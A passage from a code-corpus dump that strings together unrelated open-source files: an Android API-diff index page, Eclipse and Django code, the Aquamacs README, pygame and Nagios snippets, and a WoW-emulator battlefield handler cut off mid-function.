href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <i>vibrate</i><br> &nbsp;&nbsp;<nobr><A HREF="android.os.Vibrator.html#android.os.Vibrator.vibrate_added(long, android.media.AudioAttributes)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>long, AudioAttributes</code>)</b>&nbsp;in&nbsp;android.os.Vibrator </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.os.Vibrator.html#android.os.Vibrator.vibrate_added(long[], int, android.media.AudioAttributes)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>long[], int, AudioAttributes</code>)</b>&nbsp;in&nbsp;android.os.Vibrator </A></nobr><br> <A NAME="W"></A> <br><font size="+2">W</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <i>wakeUp</i><br> &nbsp;&nbsp;<nobr><A HREF="android.os.PowerManager.html#android.os.PowerManager.wakeUp_removed(long)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>long</code>)</strike>&nbsp;in&nbsp;android.os.PowerManager </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.service.dreams.DreamService.html#android.service.dreams.DreamService.wakeUp_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.service.dreams.DreamService </A></nobr><br> <nobr><A HREF="android.hardware.camera2.DngCreator.html#android.hardware.camera2.DngCreator.writeByteBuffer_added(java.io.OutputStream, android.util.Size, java.nio.ByteBuffer, long)" class="hiddenlink" target="rightframe"><b>writeByteBuffer</b> (<code>OutputStream, Size, ByteBuffer, long</code>)</A></nobr><br> <nobr><A HREF="android.hardware.camera2.DngCreator.html#android.hardware.camera2.DngCreator.writeInputStream_added(java.io.OutputStream, android.util.Size, java.io.InputStream, long)" class="hiddenlink" target="rightframe"><b>writeInputStream</b> (<code>OutputStream, Size, InputStream, long</code>)</A></nobr><br> <nobr><A HREF="android.os.Parcel.html#android.os.Parcel.writeSize_added(android.util.Size)" class="hiddenlink" target="rightframe"><b>writeSize</b> (<code>Size</code>)</A></nobr><br> <nobr><A HREF="android.os.Parcel.html#android.os.Parcel.writeSizeF_added(android.util.SizeF)" class="hiddenlink" target="rightframe"><b>writeSizeF</b> (<code>SizeF</code>)</A></nobr><br> <A NAME="Z"></A> <br><font size="+2">Z</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.webkit.WebView.html#android.webkit.WebView.zoomBy_added(float)" class="hiddenlink" target="rightframe"><b>zoomBy</b> (<code>float</code>)</A></nobr><br> <script src="//www.google-analytics.com/ga.js" type="text/javascript"> </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-5831155-1"); pageTracker._setAllowAnchor(true); pageTracker._initData(); pageTracker._trackPageview(); } catch(e) {} </script> </BODY> </HTML>
s20121035/rk3288_android5.1_repo
frameworks/base/docs/html/sdk/api_diff/preview-21/changes/methods_index_all.html
HTML
gpl-3.0
224,875
package sc.ndt.editor.fast.ui.mpe.outline; import java.util.ArrayList; import org.eclipse.jface.action.Action; import org.eclipse.jface.action.IMenuManager; import org.eclipse.jface.action.IStatusLineManager; import org.eclipse.jface.action.IToolBarManager; import org.eclipse.jface.viewers.CheckStateChangedEvent; import org.eclipse.jface.viewers.CheckboxTreeViewer; import org.eclipse.jface.viewers.ColumnLabelProvider; import org.eclipse.jface.viewers.ICheckStateListener; import org.eclipse.jface.viewers.ISelection; import org.eclipse.jface.viewers.ISelectionChangedListener; import org.eclipse.jface.viewers.ISelectionProvider; import org.eclipse.jface.viewers.SelectionChangedEvent; import org.eclipse.jface.viewers.TreeViewerColumn; import org.eclipse.swt.SWT; import org.eclipse.swt.events.FocusListener; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Control; import org.eclipse.swt.widgets.Tree; import org.eclipse.swt.widgets.TreeColumn; import org.eclipse.ui.IActionBars; import org.eclipse.ui.IEditorPart; import org.eclipse.ui.forms.editor.FormEditor; import org.eclipse.ui.part.IPageSite; import org.eclipse.ui.part.Page; import org.eclipse.ui.part.PageBook; import org.eclipse.ui.views.contentoutline.IContentOutlinePage; import org.eclipse.xtext.resource.XtextResource; import org.eclipse.xtext.util.concurrent.IUnitOfWork; import sc.ndt.commons.model.OutBlock; import sc.ndt.commons.model.OutCh; import sc.ndt.commons.model.OutList; import sc.ndt.commons.model.providers.outlist.OutListCheckStateProvider; import sc.ndt.commons.model.providers.outlist.OutListContentProvider; import sc.ndt.commons.model.providers.outlist.OutListLabelProvider; import sc.ndt.commons.model.providers.outlist.OutListToolTipSupport; import sc.ndt.commons.model.providers.outlist.OutListViewerComparator; import sc.ndt.commons.ui.views.EmptyOutlinePage; import sc.ndt.editor.fast.fastfst.ModelFastfst; import sc.ndt.editor.fast.ui.mpe.ui.FstFormPage; import sc.ndt.editor.fast.ui.mpe.ui.FstMultiPageEditor; public class OutListContentOutline extends Page implements IContentOutlinePage, ISelectionProvider/*, ISelectionChangedListener*/ { private PageBook pagebook; private ISelection selection; private ArrayList listeners; private /*ISortable*/IContentOutlinePage currentPage; private /*ISortable*/IContentOutlinePage emptyPage; private IActionBars actionBars; private boolean sortingOn; private CheckboxTreeViewer checkboxTreeViewer; private FstMultiPageEditor editor; private OutList outList; public OutListContentOutline(FormEditor formEditor) { this.editor = (FstMultiPageEditor)formEditor; // OutList outList = editor.outList; } public void init(IPageSite pageSite) { super.init(pageSite); pageSite.setSelectionProvider(this); //pageSite.getPage().addSelectionListener(this); } public void addSelectionChangedListener(ISelectionChangedListener listener) { //listeners.add(listener); } public void createControl(Composite parent) { //pagebook = new PageBook(parent, SWT.NONE); checkboxTreeViewer = new CheckboxTreeViewer(parent, SWT.MULTI); Tree treeTower = checkboxTreeViewer.getTree(); treeTower.setHeaderVisible(true); treeTower.setLinesVisible(true); GridData gd_treeTower = new GridData(SWT.FILL, SWT.TOP, true, false, 1, 1); gd_treeTower.heightHint = 400; treeTower.setLayoutData(gd_treeTower); TreeViewerColumn column_1 = new TreeViewerColumn(checkboxTreeViewer,SWT.NONE); TreeColumn treeColumn = column_1.getColumn(); treeColumn.setResizable(false); column_1.getColumn().setWidth(220); column_1.getColumn().setText("Output Channel"); column_1.setLabelProvider(new OutListLabelProvider()); TreeViewerColumn column_2 = new TreeViewerColumn(checkboxTreeViewer,SWT.NONE); TreeColumn treeColumn_1 = column_2.getColumn(); treeColumn_1.setResizable(false); column_2.getColumn().setWidth(60); column_2.getColumn().setText("Unit"); column_2.setLabelProvider(new ColumnLabelProvider() { public String getText(Object element) { if (element instanceof OutCh) return ((OutCh) element).unit; return ""; } }); checkboxTreeViewer.setContentProvider(new OutListContentProvider()); checkboxTreeViewer.setCheckStateProvider(new OutListCheckStateProvider()); checkboxTreeViewer.setComparator(new OutListViewerComparator()); checkboxTreeViewer.setInput(outList.getAllOutBlocks()); OutListToolTipSupport.enableFor(checkboxTreeViewer); // see // http://www.java2s.com/Code/Java/SWT-JFace-Eclipse/DemonstratesCheckboxTreeViewer.htm checkboxTreeViewer.addCheckStateListener(new ICheckStateListener() { public void checkStateChanged(CheckStateChangedEvent event) { if (event.getChecked()) { checkboxTreeViewer.setSubtreeChecked(event.getElement(), true); Object o = event.getElement(); if (o instanceof OutCh) { outList.get(((OutCh) o).name).setAvailable(true); } else if (o instanceof OutBlock) outList.setBlockSelected((OutBlock) o, true); } else if (!event.getChecked()) { checkboxTreeViewer.setSubtreeChecked(event.getElement(), false); Object o = event.getElement(); if (o instanceof OutCh) outList.get(((OutCh) o).name).setAvailable(false); else if (o instanceof OutBlock) outList.setBlockSelected((OutBlock) o, false); } // TODO write to xtext model editor.getXtextEditor("fst").getDocument().modify(new IUnitOfWork.Void<XtextResource>() { @Override public void process(XtextResource resource) throws Exception { ModelFastfst m = (ModelFastfst) resource.getContents().get(0); if (m != null && m.getOutList() != null) m.getOutList().setValue(outList.getAllSelectedByBlock()); else throw new IllegalStateException("Uh uh, no content"); }; }); checkboxTreeViewer.refresh(); } }); } public void dispose() { if (pagebook != null && !pagebook.isDisposed()) pagebook.dispose(); if (emptyPage != null) { emptyPage.dispose(); emptyPage = null; } pagebook = null; listeners = null; } public Control getControl() { return checkboxTreeViewer.getControl(); } public ISelection getSelection() { return selection; } public void makeContributions(IMenuManager menuManager, IToolBarManager toolBarManager, IStatusLineManager statusLineManager) { } public void removeSelectionChangedListener(ISelectionChangedListener listener) { //listeners.remove(listener); } public void selectionChanged(SelectionChangedEvent event) { setSelection(event.getSelection()); } public void setActionBars(IActionBars actionBars) { this.actionBars = actionBars; registerToolbarActions(actionBars); //if (currentPage != null) // setPageActive(currentPage); } public IActionBars getActionBars() { return actionBars; } public void setFocus() { if (currentPage != null) currentPage.setFocus(); } private /*ISortable*/IContentOutlinePage getEmptyPage() { if (emptyPage == null) emptyPage = new EmptyOutlinePage(); return emptyPage; } /*public void setPageActive(IContentOutlinePage page) { if (page == null) { page = getEmptyPage(); } if (currentPage != null) { currentPage.removeSelectionChangedListener(this); } //page.init(getSite()); //page.sort(sortingOn); page.addSelectionChangedListener(this); this.currentPage = page; if (pagebook == null) { // still not being made return; } Control control = page.getControl(); if (control == null || control.isDisposed()) { // first time page.createControl(pagebook); page.setActionBars(getActionBars()); control = page.getControl(); } pagebook.showPage(control); this.currentPage = page; }*/ /** * Set the selection. */ public void setSelection(ISelection selection) { this.selection = selection; if (listeners == null) return; SelectionChangedEvent e = new SelectionChangedEvent(this, selection); for (int i = 0; i < listeners.size(); i++) { ((ISelectionChangedListener) listeners.get(i)).selectionChanged(e); } } private void registerToolbarActions(IActionBars actionBars) { IToolBarManager toolBarManager = actionBars.getToolBarManager(); if (toolBarManager != null) { //toolBarManager.add(new ToggleLinkWithEditorAction(editor)); toolBarManager.add(new SortingAction()); } } class SortingAction extends Action { public SortingAction() { super(); /* TODO PlatformUI.getWorkbench().getHelpSystem().setHelp(this, IHelpContextIds.OUTLINE_SORT_ACTION); setText(PDEUIMessages.PDEMultiPageContentOutline_SortingAction_label); setImageDescriptor(PDEPluginImages.DESC_ALPHAB_SORT_CO); setDisabledImageDescriptor(PDEPluginImages.DESC_ALPHAB_SORT_CO_DISABLED); setToolTipText(PDEUIMessages.PDEMultiPageContentOutline_SortingAction_tooltip); setDescription(PDEUIMessages.PDEMultiPageContentOutline_SortingAction_description); setChecked(sortingOn); */ } public void run() { setChecked(isChecked()); valueChanged(isChecked()); } private void valueChanged(final boolean on) { sortingOn = on; //if (currentPage != null) // currentPage.sort(on); //PDEPlugin.getDefault().getPreferenceStore().setValue("PDEMultiPageContentOutline.SortingAction.isChecked", on); //$NON-NLS-1$ } } }
cooked/NDT
sc.ndt.editor.fast.fst.ui/src/sc/ndt/editor/fast/ui/mpe/outline/OutListContentOutline.java
Java
gpl-3.0
9,419
Aquamacs Emacs =============================== This project is Aquamacs Emacs, a modified distribution of Emacs for Mac OS X. Aquamacs tracks GNU Emacs, merging from the latest release branch. Aquamacs is not a fork. Aquamacs is designed to make it easy for users to get started with Emacs. It also makes it easy to switch between different programs on the Mac. Further, Aquamacs comes with many packages pre-installed and configured so that users can, for example, start editing LaTeX documents with AUCTeX or statistical programs in R using ESS-Mode. Many programming languages are supported, and sometimes Aquamacs provides, by default, other major modes for certain programming languages than what comes with GNU Emacs. Development on Aquamacs contributes back to GNU Emacs where appropriate. Aquamacs Emacs is licensed under the GNU General Public License, v3. Project website: http://aquamacs.org Discussion of Aquamacs takes place on the email list macosx-emacs@email.esm.psu.edu Building Aquamacs ------------------ Run ./build-aquamacs For more details about building Aquamacs, see ./aquamacs/build/BUILD-AQUAMACS.txt Contributing to Aquamacs ------------------------- Discussion about Aquamacs development takes place on the email list aquamacs-devel@googlegroups.com, or in issues filed at https://github.com/aquamacs-emacs/aquamacs-emacs/issues. Author ------- Aquamacs Emacs started in 2005. Until 2019, it was maintained by David Reitter, david.reitter@gmail.com. Aquamacs is currently maintained by Win Treese, treese@acm.org. Many developers have contributed to its success.
davidswelt/aquamacs-emacs
README.md
Markdown
gpl-3.0
1,610
from datetime import datetime import json import traceback from django.http import HttpResponse from django.template import loader, Context from django.views.decorators.csrf import csrf_exempt from events.models import ScriptEvent, MessageEvent from profiles.models import PhoneNumber, format_phone from sms_messages.models import ScheduledScript, ScriptVariable from services.models import AppApi @csrf_exempt def callback(request): response = {} response['success'] = False response['error'] = { 'description': 'Not yet implemented' } response['parameters'] = {} if request.method == 'POST': message = json.loads(request.POST['message']) if message['action'] == 'fetch_clarification': lang_code = '' phone_number = message['parameters']['recipient'] phone_number = format_phone(phone_number) phone_objs = PhoneNumber.objects.filter(value=phone_number, active=True).order_by('priority') if phone_objs.count() > 0: lang_code = phone_objs[0].profile.primary_language template = None try: template = loader.get_template('clarification_' + lang_code + '.txt') except: template = loader.get_template('clarification.txt') c = Context({ 'message': message }) response['parameters']['clarification'] = template.render(c) response['success'] = True elif message['action'] == 'fetch_unsolicited_response': lang_code = '' phone_number = message['parameters']['recipient'] phone_number = format_phone(phone_number) phone_objs = PhoneNumber.objects.filter(value=phone_number, active=True).order_by('priority') if phone_objs.count() > 0: lang_code = phone_objs[0].profile.primary_language template = None try: template = loader.get_template('unsolicited_response_' + lang_code + '.txt') except: template = loader.get_template('unsolicited_response.txt') c = Context({ 'message': message }) response['parameters']['response'] = template.render(c) response['success'] = True elif message['action'] == 'set_value': script = ScheduledScript.objects.get(session=message['parameters']['session']) event = ScriptEvent(script=script, event='script_session_variable_set', value=json.dumps(message['parameters'])) event.save() variable = ScriptVariable(script=script, key=message['parameters']['key'], value=message['parameters']['value']) variable.save() response['success'] = True response['error']['description'] = '' elif message['action'] == 'log_session_started': script = ScheduledScript.objects.get(session=message['parameters']['session']) script.confirmed_date = datetime.now() script.save() event = ScriptEvent(script=script, event='script_session_started') event.save() response['success'] = True response['error']['description'] = '' elif message['action'] == 'log_receive': event = MessageEvent(type='receive', sender=message['parameters']['sender'], message=message['parameters']['message']) event.save() response['success'] = True response['error']['description'] = '' for app in AppApi.objects.all(): try: api = __import__(app.app_name + '.api', globals(), locals(), ['on_receive'], -1) api.on_receive(message['parameters']['sender'], message['parameters']['message']) except: traceback.print_exc() elif message['action'] == 'log_send': event = MessageEvent(type='send', recipient=message['parameters']['recipient'], message=message['parameters']['message']) event.save() response['success'] = True response['error']['description'] = '' else: request.META['wsgi.errors'].write('TODO: HANDLE ' + message['action']) response['success'] = True return HttpResponse(json.dumps(response), mimetype='application/json')
audaciouscode/SMSBot
smsbot_django/services/views.py
Python
gpl-3.0
4,783
/* Copyright 2013-2017 Matt Tytel * * helm is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * helm is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with helm. If not, see <http://www.gnu.org/licenses/>. */ #pragma once #ifndef SHADERS_H #define SHADERS_H class Shaders { public: enum Shader { kBackgroundImageVertex, kBackgroundImageFragment, kOscilloscopeVertex, kOscilloscopeFragment, kModulationVertex, kModulationFragment, kGainMeterVertex, kGainMeterFragment, kNumShaders }; static const char* getShader(Shader shader); private: Shaders() { } static const char* shaders_[kNumShaders]; }; #endif // SHADERS_H
mtytel/helm
src/look_and_feel/shaders.h
C
gpl-3.0
1,154
# service-worker-plugin TODO Create a service worker webpack plugin
Guru107/service-worker-plugin
README.md
Markdown
gpl-3.0
68
# Components `Projects`, `Actions`, `Position`, `Skill` are the 4 building blocks that make up `corp 2.0`. They are intentionally designed to mirror the existing structure that is prevalent in mainstream organizations today. ## Projects `Projects` are created from `templates.` A `project` is an initiative taken on by the company in order to achieve an objective. For example, creating an engineering team. `Templates` are predefined methods to perform the full lifecycle of a `project.` For more details read [Templates](TEMPLATES.md) ## Actions An `action` is an undertaking performed by an individual. `Actions` are performed based on the needs of an individual or of a `project.` Sometimes an `action` has more than one participant. For example, a `one-on-one` meeting is performed by two people with different roles. A `code-review` can be performed by two people with the same roles. `Projects` are made up of `actions.` An `action` is created from an `use case.` An `action` belongs to a `project.` For more details read [Use cases](USE_CASES.md) ## Position A `position` is roughly the equivalent of a `title.` As a person grows in his career, he or she may learn new things, thus performing various and different `roles`. Each `role` requires a certain `skill.` Each `role` requires the person to be responsible for his or her `actions` and provides the necessary authority for the person to execute the responsibilities necessary for the role. ## Skill A `skill` is required by a `role` for performing an `action.` A `skill` is basically knowledge or talent that a person possesses that allows him or her to fulfill work duties.
CORP-2/CORP-2.0
COMPONENTS.md
Markdown
gpl-3.0
1,656
# -*- coding: utf-8 -*- from ui import ui_elements from ui import ui_handler class my_text(ui_elements.Text): def start(self, args): self.set_text(args["text"]) self.set_pos((100, 100)) self.set_size(60) self.set_color((0, 0, 255)) def mouse_enter(self): self.set_color((255, 0, 0)) def mouse_leave(self): self.set_color((0, 0, 255)) #pos = self.get_pos() #new_pos = (pos[0] + 1, pos[1] + 1) #self.set_pos(new_pos) def mouse_down(self, buttons): self.set_color((0, 255, 0)) def mouse_up(self, buttons): self.set_color((0, 0, 255)) def init(screen): MyText = my_text(text="Just a Test UI element") my_handler = ui_handler.Handler(screen) my_handler.register(MyText) return my_handler
c-michi/pygame_ui
test_ui.py
Python
gpl-3.0
722
package com.jmd613.AM1.Client.gui; import com.jmd613.AM1.reference.Reference; import cpw.mods.fml.client.config.GuiConfig; import cpw.mods.fml.client.config.IConfigElement; import net.minecraft.client.gui.GuiScreen; import net.minecraftforge.common.config.ConfigElement; import net.minecraftforge.common.config.Configuration; import com.jmd613.AM1.handler.configurationHandler; import java.util.List; public class ModGuiConfig extends GuiConfig { public ModGuiConfig(GuiScreen parentScreen, List<IConfigElement> configElements, String modID, String configID, boolean allRequireWorldRestart, boolean allRequireMcRestart, String title) { super(parentScreen, configElements, modID, configID, allRequireWorldRestart, allRequireMcRestart, title); } }
TheGamingCore/Atomic-Mechanisms
src/main/java/com/jmd613/AM1/Client/gui/ModGuiConfig.java
Java
gpl-3.0
767
<div class="mod-pedal mod-pedal-boxy mod-three-sliders mod-{{color}}"> <div mod-role="drag-handle" class="mod-drag-handle"></div> <div class="mod-plugin-author"><h1>{{author}}</h1></div> <div class="mod-plugin-name"><h1>{{label}}</h1></div> <div class="mod-light on" mod-role="bypass-light"></div> <div class="mod-control-group clearfix"> {{#controls}} <div class="mod-slider" mod-role="icon-button" mod-button-type="slider"> <span class="mod-slider-title">{{name}}</span> <div class="mod-slider-image" mod-role="input-control-port" mod-port-symbol="{{symbol}}"></div> </div> {{/controls}} </div> <div class="mod-footswitch" mod-role="bypass"></div> <div class="mod-pedal-input"> {{#effect.ports.audio.input}} <div class="mod-input mod-input-disconnected" title="{{name}}" mod-role="input-audio-port" mod-port-symbol="{{symbol}}"> <div class="mod-pedal-input-image"></div> </div> {{/effect.ports.audio.input}} {{#effect.ports.midi.input}} <div class="mod-input mod-input-disconnected" title="{{name}}" mod-role="input-midi-port" mod-port-symbol="{{symbol}}"> <div class="mod-pedal-input-image"></div> </div> {{/effect.ports.midi.input}} </div> <div class="mod-pedal-output"> {{#effect.ports.audio.output}} <div class="mod-output mod-output-disconnected" title="{{name}}" mod-role="output-audio-port" mod-port-symbol="{{symbol}}"> <div class="mod-pedal-output-image"></div> </div> {{/effect.ports.audio.output}} {{#effect.ports.midi.output}} <div class="mod-output mod-output-disconnected" title="{{name}}" mod-role="output-midi-port" mod-port-symbol="{{symbol}}"> <div class="mod-pedal-output-image"></div> </div> {{/effect.ports.midi.output}} </div> </div>
moddevices/mod-resources
templates/pedal-boxy-3-sliders.html
HTML
gpl-3.0
1,909
""" Copyright (c) 2012-2014 RockStor, Inc. <http://rockstor.com> This file is part of RockStor. RockStor is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. RockStor is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. """ from django.db import models class NetatalkShare(models.Model): YES = 'yes' NO = 'no' """share that is exported""" share = models.OneToOneField('Share', related_name='netatalkshare') """mount point of the share""" path = models.CharField(max_length=4096, unique=True) description = models.CharField(max_length=1024, default='afp on rockstor') BOOLEAN_CHOICES = ( (YES, 'yes'), (NO, 'no'), ) time_machine = models.CharField(max_length=3, choices=BOOLEAN_CHOICES, default=YES) def share_name(self, *args, **kwargs): return self.share.name def share_id(self, *args, **kwargs): return self.share.id @property def vol_size(self): return self.share.size class Meta: app_label = 'storageadmin'
schakrava/rockstor-core
src/rockstor/storageadmin/models/netatalk_share.py
Python
gpl-3.0
1,546
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title></title> <link rel="stylesheet" href="css/site.css" /> </head> <body> <div class="sidebar"> </div> <div class="footer"> </div> </body> </html>
grriffin/sallysrecipes
src/sallysrecipes/wwwroot/index.html
HTML
gpl-3.0
239
/******************************************************************************* * Copyright (C) 2015, CERN * This software is distributed under the terms of the GNU General Public * License version 3 (GPL Version 3), copied verbatim in the file "LICENSE". * In applying this license, CERN does not waive the privileges and immunities * granted to it by virtue of its status as Intergovernmental Organization * or submit itself to any jurisdiction. * * *******************************************************************************/ import java.io.FileNotFoundException; import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import javax.xml.stream.XMLStreamException; public class TestURLEncoder { public static void main(String[] args) throws FileNotFoundException, XMLStreamException, UnsupportedEncodingException { System.out.println(URLEncoder.encode("http://www.w3.org/2000/09/xmldsig#rsa-sha1","iso-8859-1")); char[] temp = fixUrlEncode(); System.out.println(new String(temp)); } public static char[] fixUrlEncode() throws UnsupportedEncodingException { char[] temp = URLEncoder.encode("http://www.w3.org/2000/09/xmldsig#rsa-sha1","iso-8859-1").toCharArray(); for (int i = 0; i < temp.length; i++) { if(temp[i] == '%'){ temp[i+1] = Character.toLowerCase(temp[i+1]); temp[i+2] = Character.toLowerCase(temp[i+2]); } } return temp; } }
cerndb/wls-cern-sso
saml2slo/test/TestURLEncoder.java
Java
gpl-3.0
1,415
<?php # # Plugin: check_centricstor # Author: Rene Koch <r.koch@ovido.at> # Date: 2012/12/06 # $opt[1] = "--vertical-label \"Caches free\" -l 0 --title \"Caches free on $hostname\" --slope-mode -N"; $opt[2] = "--vertical-label \"Caches dirty\" -l 0 --title \"Caches dirty on $hostname\" --slope-mode -N"; $def[1] = ""; $def[2] = ""; # process cache usage statistics foreach ($this->DS as $key=>$val){ $ds = $val['DS']; if (preg_match("/_free/", $val['NAME']) ){ $def[1] .= "DEF:var$key=$RRDFILE[$ds]:$ds:AVERAGE "; $label = preg_split("/_/", $LABEL[$ds]); $def[1] .= "LINE1:var$key#" . color() . ":\"" . $label[0] ." \" "; $def[1] .= "GPRINT:var$key:LAST:\"last\: %3.4lg%% \" "; $def[1] .= "GPRINT:var$key:MAX:\"max\: %3.4lg%% \" "; $def[1] .= "GPRINT:var$key:AVERAGE:\"average\: %3.4lg%% \"\\n "; }else{ $def[2] .= "DEF:var$key=$RRDFILE[$ds]:$ds:AVERAGE "; $label = preg_split("/_/", $LABEL[$ds]); $def[2] .= "LINE1:var$key#" . color() . ":\"" . $label[0] ." \" "; $def[2] .= "GPRINT:var$key:LAST:\"last\: %3.4lg%% \" "; $def[2] .= "GPRINT:var$key:MAX:\"max\: %3.4lg%% \" "; $def[2] .= "GPRINT:var$key:AVERAGE:\"average\: %3.4lg%% \"\\n "; } } # generate html color code function color(){ $color = dechex(rand(0,10000000)); while (strlen($color) < 6){ $color = dechex(rand(0,10000000)); } return $color; } ?>
ovido/check_centricstor
contrib/check_centricstor.php
PHP
gpl-3.0
1,393
/* * Copyright (C) 2011-2012 DarkCore <http://www.darkpeninsula.eu/> * Copyright (C) 2011-2012 Project SkyFire <http://www.projectskyfire.org/> * Copyright (C) 2008-2012 TrinityCore <http://www.trinitycore.org/> * Copyright (C) 2005-2012 MaNGOS <http://getmangos.com/> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 3 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "Common.h" #include "ObjectAccessor.h" #include "ObjectMgr.h" #include "WorldPacket.h" #include "WorldSession.h" #include "Battlefield.h" #include "BattlefieldMgr.h" #include "Opcodes.h" //This send to player windows for invite player to join the war //Param1:(BattleId) the BattleId of Bf //Param2:(ZoneId) the zone where the battle is (4197 for wg) //Param3:(time) Time in second that the player have for accept void WorldSession::SendBfInvitePlayerToWar(uint32 BattleId, uint32 ZoneId, uint32 p_time) { //Send packet WorldPacket data(SMSG_BATTLEFIELD_MGR_ENTRY_INVITE, 16); data << uint32(0); data << uint32(ZoneId); data << uint64(BattleId | 0x20000); //Sending the packet to player SendPacket(&data); } //This send invitation to player to join the queue //Param1:(BattleId) the BattleId of Bf void WorldSession::SendBfInvitePlayerToQueue(uint32 BattleId) { WorldPacket data(SMSG_BATTLEFIELD_MGR_QUEUE_INVITE, 5); data << uint8(0); data << uint8(1); // warmup data << uint32(0); data << uint32(0); data << uint32(0); data << uint32(0); data << uint32(0); data << uint64(BattleId); // BattleId //warmup ? used ? //Sending packet to player SendPacket(&data); } //This send packet for inform player that he join queue //Param1:(BattleId) the BattleId of Bf //Param2:(ZoneId) the zone where the battle is (4197 for wg) void WorldSession::SendBfQueueInviteResponce(uint32 BattleId, uint32 ZoneId) { WorldPacket data(SMSG_BATTLEFIELD_MGR_QUEUE_REQUEST_RESPONSE, 11); data << uint8(0); // unk, Logging In??? data << uint64(BattleId); data << uint32(ZoneId); data << uint64(GetPlayer()->GetGUID()); data << uint8(1); // 1 = accepted, 0 = You cant join queue right now data << uint8(1); // 1 = queued for next battle, 0 = you are queued, please wait... SendPacket(&data); } //This is call when player accept to join war //Param1:(BattleId) the BattleId of Bf void WorldSession::SendBfEntered(uint32 BattleId) { WorldPacket data(SMSG_BATTLEFIELD_MGR_ENTERED, 7); data << uint32(BattleId); data << uint8(1); //unk data << uint8(1); //unk data << uint8(_player->isAFK()?1:0); //Clear AFK SendPacket(&data); } //Send when player is kick from Battlefield void WorldSession::SendBfLeaveMessage(uint32 BattleId) { WorldPacket data(SMSG_BATTLEFIELD_MGR_EJECTED, 7); data << uint8(8); //byte Reason data << uint8(2); //byte BattleStatus data << uint64(BattleId); data << uint8(0); //bool Relocated SendPacket(&data); } //Send by client when he click on accept for queue void WorldSession::HandleBfQueueInviteResponse(WorldPacket & recv_data) { uint32 BattleId; uint8 Accepted; recv_data >> BattleId >> Accepted; sLog->outError("HandleQueueInviteResponse: BattleID:%u Accepted:%u", BattleId, Accepted); Battlefield* Bf = sBattlefieldMgr.GetBattlefieldByBattleId(BattleId); if (!Bf) return; if (Accepted) { Bf->PlayerAcceptInviteToQueue(_player); } } //Send by client on clicking in accept or refuse of invitation windows for join game void WorldSession::HandleBfEntryInviteResponse(WorldPacket & recv_data) { uint64 data; uint8 Accepted; recv_data >> Accepted >> data; uint64 BattleId = data &~ 0x20000; Battlefield* Bf= sBattlefieldMgr.GetBattlefieldByBattleId((uint32)BattleId); if(!Bf) return; //If player accept invitation if (Accepted) { Bf->PlayerAcceptInviteToWar(_player); } else { if (_player->GetZoneId() == Bf->GetZoneId()) Bf->KickPlayerFromBf(_player->GetGUID()); } } void WorldSession::HandleBfExitRequest(WorldPacket & 